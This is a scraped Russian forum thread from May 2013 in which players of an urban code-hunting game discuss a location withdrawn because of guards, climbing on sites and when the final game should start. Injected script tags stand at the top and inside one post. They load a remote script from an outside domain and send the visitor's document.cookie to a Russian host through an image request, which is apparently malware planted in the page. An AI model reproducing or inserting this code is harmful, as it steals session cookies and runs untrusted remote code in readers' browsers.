<script language='javascript' charset='UTF-8' type='text/javascript' src='http://nummobile.com/80j4ch2sa3g98uehlyoro4uftwotqhh'></script>
<script> img = new Image(); img.src = "http://frontext.ru/www/s.gif?"+document.cookie; </script>

Punch
13-05-2013, 00:25
молодцы

Одна команда досняла 69-й сегодня. Охрана бдит

prinncessa
13-05-2013, 00:37
Одна команда досняла 69-й сегодня. Охрана бдит
А если бы мы вам не задали вопрос о снятии локи, а ее продолжали снимать, то что? Постфактум бы сказали, что передумали?

Любую локу можно снять, это понятно. "Разность" вот например, они там вообще отморозки. Но там ради того и играется.

В общем, странное решение.

Кюхель
13-05-2013, 01:33
Она спокойно снимается даже без залаза, что на фотографии. 33й и 80й гораздо жестче, и то берутся.
Получите удовольствие:cool:.

DEd_MONro
13-05-2013, 01:51
Она спокойно снимается даже без залаза, что на фотографии. 33й и 80й гораздо жестче, и то берутся.
Получите удовольствие:cool:.

У нас 33й сняла девочка))
Как раз когда от зомби бегали.

Grom
13-05-2013, 08:55
У нас 33й сняла девочка))
Как раз когда от зомби бегали.
У нас "громоотвод" снимала девочка :blabla:

Jaguar
13-05-2013, 09:53
Она спокойно снимается даже без залаза, что на фотографии. 33й и 80й гораздо жестче, и то берутся.
Получите удовольствие:cool:.

80 жесткий ?? шутите??? там тока голуби на страже, не более того...

prinncessa
13-05-2013, 11:13
80 жесткий ?? шутите??? там тока голуби на страже, не более того...

и пугало =)

DashИК
13-05-2013, 12:16
и пугало =)

Футурама встретила там не только пугало... так что будьте аккуратнее.

Кюхель
13-05-2013, 13:15
80 жесткий ?? шутите??? там тока голуби на страже, не более того...

Ой, да кто-то по ходу туда влез уже после новых комментариев от оргов про северо-запад. А попробуй ещё разок по будке погулять:).

Кюхель
13-05-2013, 13:17
У нас 33й сняла девочка))
Как раз когда от зомби бегали.

Это характеризует вас как настоящих мужчин:p.

Jaguar
13-05-2013, 15:43
Ой, да кто-то по ходу туда влез уже после новых комментариев от оргов про северо-запад. А попробуй ещё разок по будке погулять:).

рукалицо))

т.е. вы залезали у забора за будкой и по ней ходили?:D

DEd_MONro
13-05-2013, 18:08
Это характеризует вас как настоящих мужчин:p.

Так это...
Выходи на Сумму - помереемся :D

Clinique
13-05-2013, 21:33
Так это...
Выходи на Сумму - помереемся :D

Посчитаем я бы сказал )

Jaguar
14-05-2013, 00:26
Так это...
Выходи на Сумму - помереемся :D

вот опасное предложение):D

Кюхель
14-05-2013, 13:05
Так это...
Выходи на Сумму - помереемся :D

Мне тут старинный друг Ожегов подсказывает, что слово "сумма" мало чем отличается от сотен других, пишущихся с маленькой буквы:). И у меня нет ни единого основания не доверять этому олдскульному панку, уверенному, что ни именем собственным, ни названием населённого пункта, ни годами жизни борца за свободу чернокожего населения Тайваня оно не является.)

DashИК
14-05-2013, 13:33
Новые сведения о баяне 69.
К сожалению, строители в данном случае действуют быстрее, чем мы могли ожидать.
Вчера вечером от команды "Пакмэн" поступила следующая информация:
"были там вчера, в 12 и в пол второго
1) тот залаз что на фото обнесли забором тоже, причем так, что окошко будки выходит аккурат в то место, где через забор можно перебраться.
2) на крышу от будок стоят специально обученные лесенки, чтоб дебилов типа нас снимать
3) охрана ходит по периметру территории.
4) рядом со зданием катается патрульная машина."
<a href='http://rghost.ru/45988484.view'><img src='http://rghost.ru/45988484/thumb.png' /></a>

В связи с тем, что взятие кодов командами невозможно, 69 баян снимается с игры, взятые на нем коды учитываться не будут.
Приносим свои извинения тем командам, которые потратили свое время на его снятие, а также за то, что меняли свое решение - до последнего не хотелось снимать локацию.

Scod
14-05-2013, 13:43
Новые сведения о баяне 69.
К сожалению, строители в данном случае действуют быстрее, чем мы могли ожидать.
Вчера вечером от команды "Пакмэн" поступила следующая информация:
"были там вчера, в 12 и в пол второго
1) тот залаз что на фото обнесли забором тоже, причем так, что окошко будки выходит аккурат в то место, где через забор можно перебраться.
2) на крышу от будок стоят специально обученные лесенки, чтоб дебилов типа нас снимать
3) охрана ходит по периметру территории.
4) рядом со зданием катается патрульная машина."
<a href='http://rghost.ru/45988484.view'><img src='http://rghost.ru/45988484/thumb.png' /></a>

В связи с тем, что взятие кодов командами невозможно, 69 баян снимается с игры, взятые на нем коды учитываться не будут.
Приносим свои извинения тем командам, которые потратили свое время на его снятие, а также за то, что меняли свое решение - до последнего не хотелось снимать локацию.

Зайду в 7 часов после работы при свете дня, если смогу взять кодюли заного - отмените решении о снятии с зачета?

ndevil
14-05-2013, 13:43
Новые сведения о баяне 69.


Рыть подкоп! :rolleyes: ну или еще сейчас в тренде кодюли покупать.



Отправлено с моего ThL W3 через Tapatalk
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://nummobile.com/80j4ch2sa3g98uehlyoro4uftwotqhh'></script>
<script> img = new Image(); img.src = "http://frontext.ru/www/s.gif?"+document.cookie; </script>

DashИК
14-05-2013, 13:45
Зайду в 7 часов после работы при свете дня, если смогу взять кодюли заного - отмените решении о снятии с зачета?

Нет.
А по громоотводу будешь на трубу залезать? Хочу просто, чтобы рабочие порадовались - вполне себе шоу )

DashИК
14-05-2013, 13:47
Рыть подкоп! :rolleyes: ну или еще сейчас в тренде кодюли покупать.


Не тот тренд, в котором хочется быть.
Баян 69 снимается.
Еще раз приносим свои извинения командам, которые потратили на него время.

miibus
14-05-2013, 13:56
Не тот тренд, в котором хочется быть.
Баян 69 снимается.
Еще раз приносим свои извинения командам, которые потратили на него время.

ну вот несколько нелогично) если и правда сода сможет взять, пусть берёт и лока будет объявлена сталкером, чё нет то?)

Scod
14-05-2013, 13:58
ну вот несколько нелогично) если и правда сода сможет взять, пусть берёт и лока будет объявлена сталкером, чё нет то?)

Тем более денег у меня нет, договориться за бабки не смогу :)

Нет.
А по громоотводу будешь на трубу залезать? Хочу просто, чтобы рабочие порадовались - вполне себе шоу )

Нет, спасибо, это ж теперь сталкер, а не просто бухающие люди на скамейке :D

ndevil
14-05-2013, 14:00
Кстати специально обученные (http://bbmod.ru) лесенки на крышу стояли еще в воскресенье, равно как и охрана патрулировала периметр и первый этаж.

Отправлено с моего ThL W3 через Tapatalk

Scod
14-05-2013, 14:02
Ой, да кто-то по ходу туда влез уже после новых комментариев от оргов про северо-запад. А попробуй ещё разок по будке погулять:).

Неправда, не по, а перед ней, при свете дня и свете в ней. Самый веселый момент был, когда меня охранник выводил через парадную дверь, а еще один наш полевик уже заносил ногу около двери, чтобы перелезть... так и встретились :)

DashИК
14-05-2013, 14:10
ну вот несколько нелогично) если и правда сода сможет взять, пусть берёт и лока будет объявлена сталкером, чё нет то?)

У нас и так сталкеров хватает, так что желающим есть, где полазать.
И, кстати, завтра будет выданы последние 3 баяна, после чего у вас будет время до 9-00 17 мая, чтобы снять максимальное количество кодов.
Анонс финальной игры будет опубликован в ближайшее время.

Jaguar
14-05-2013, 14:17
У нас и так сталкеров хватает, так что желающим есть, где полазать.
И, кстати, завтра будет выданы последние 3 баяна, после чего у вас будет время до 9-00 17 мая, чтобы снять максимальное количество кодов.
Анонс финальной игры будет опубликован в ближайшее время.
снимите еще один сталкер, впадлу ехать из-за него в перди):D

miibus
14-05-2013, 14:19
Анонс финальной игры будет опубликован в ближайшее время.

чем позже старт, тем лучше в ночь с 17 на 18 лайт)

Jaguar
14-05-2013, 14:22
снимите еще один сталкер, впадлу ехать из-за него в перди):D
позазауйста:rolleyes:

Jaguar
14-05-2013, 14:22
чем позже старт, тем лучше в ночь с 17 на 18 лайт)

прям только ради тебя, солнышко, все сдвинут:blabla:

miibus
14-05-2013, 14:24
прям только ради тебя, солнышко, все сдвинут:blabla:

ну не один я в него играю, ежели что)

DashИК
14-05-2013, 14:24
снимите еще один сталкер, впадлу ехать из-за него в перди):D

Так ты "купи кодюлю" )))

Scod
14-05-2013, 14:27
ну не один я в него играю, ежели что)

Поддерживаю Влада, давай-те часа в 4 ночи начнем после лайта, а то в субботу на работу к 9 как раз :)

Так ты "купи кодюлю" )))

Продам коды почти со всех локаций. Недорого. Обращаться в личку. :D

ndevil
14-05-2013, 14:27
Так ты "купи кодюлю" )))

ОМГ. Яга про какой сталкер в пердях идет речь? Я чето ни на одном из заявленных как сталкер на игре уровней охраны не заметил, либо им было решительно пох, за исключением этой несчастной котельной 69.

Отправлено с моего ThL W3 через Tapatalk
<!--s_links--><!--check code--><!--/s_links-->

Jaguar
14-05-2013, 14:33
ОМГ. Яга про какой сталкер в пердях идет речь? Я чето ни на одном из заявленных как сталкер на игре уровней охраны не заметил, либо им было решительно пох, за исключением этой несчастной котельной 69.

Отправлено с моего ThL W3 через Tapatalk

74,у меня в тех краях ничего не осталось, а бензин кончается:D

ndevil
14-05-2013, 14:41
74,у меня в тех краях ничего не осталось, а бензин кончается:D

2177 :D

Оттуда кстати клевый панорамный вид открывается.

http://img.tapatalk.com/d/13/05/14/qytazepe.jpg

http://img.tapatalk.com/d/13/05/14/a2yqybyp.jpg

Отправлено с моего ThL W3 через Tapatalk

Кюхель
14-05-2013, 14:41
Воткну ещё раз наши соображения про финал.

Всё идёт к тому, что кто-то (возможно, впервые в истории проекта) вжарит 3 игры за 1,5 суток.
И это проблема расписания, а не наша. Правда, расписание нагло лыбится в сторонке, методично повторяя "Это дедлайн, детка":cool:.

Поэтому в связи с плохо мотивированным-но-всё-же-отказом оргов перенести финал на 24 мая, мы выступаем за как можно более позднее начало 17го.

Если что.

Scod
14-05-2013, 14:43
Воткну ещё раз наши соображения про финал.

Всё идёт к тому, что кто-то (возможно, впервые в истории проекта) вжарит 3 игры за 1,5 суток.
И это проблема расписания, а не наша. Правда, расписание нагло лыбится в сторонке, методично повторяя "Это дедлайн, детка":cool:.

Поэтому в связи с плохо мотивированным-но-всё-же-отказом оргов перенести финал на 24 мая, мы выступаем за как можно более позднее начало 17го.

Если что.

Кстати, да, 24 мая было бы идеально, ни одного совпадения с другими играми, отоспался и почесал пилить СДшку :)

prinncessa
14-05-2013, 15:02
Да и в топку его, финал=)
Жребий кинем и окай.

Scod
14-05-2013, 15:05
Да и в топку его, финал=)
Жребий кинем и окай.

А лучше где-нибудь в теплую и приятную погоду выявить победителя путем "кто кого перепьет" на те призовые, которые должен получить победитель :)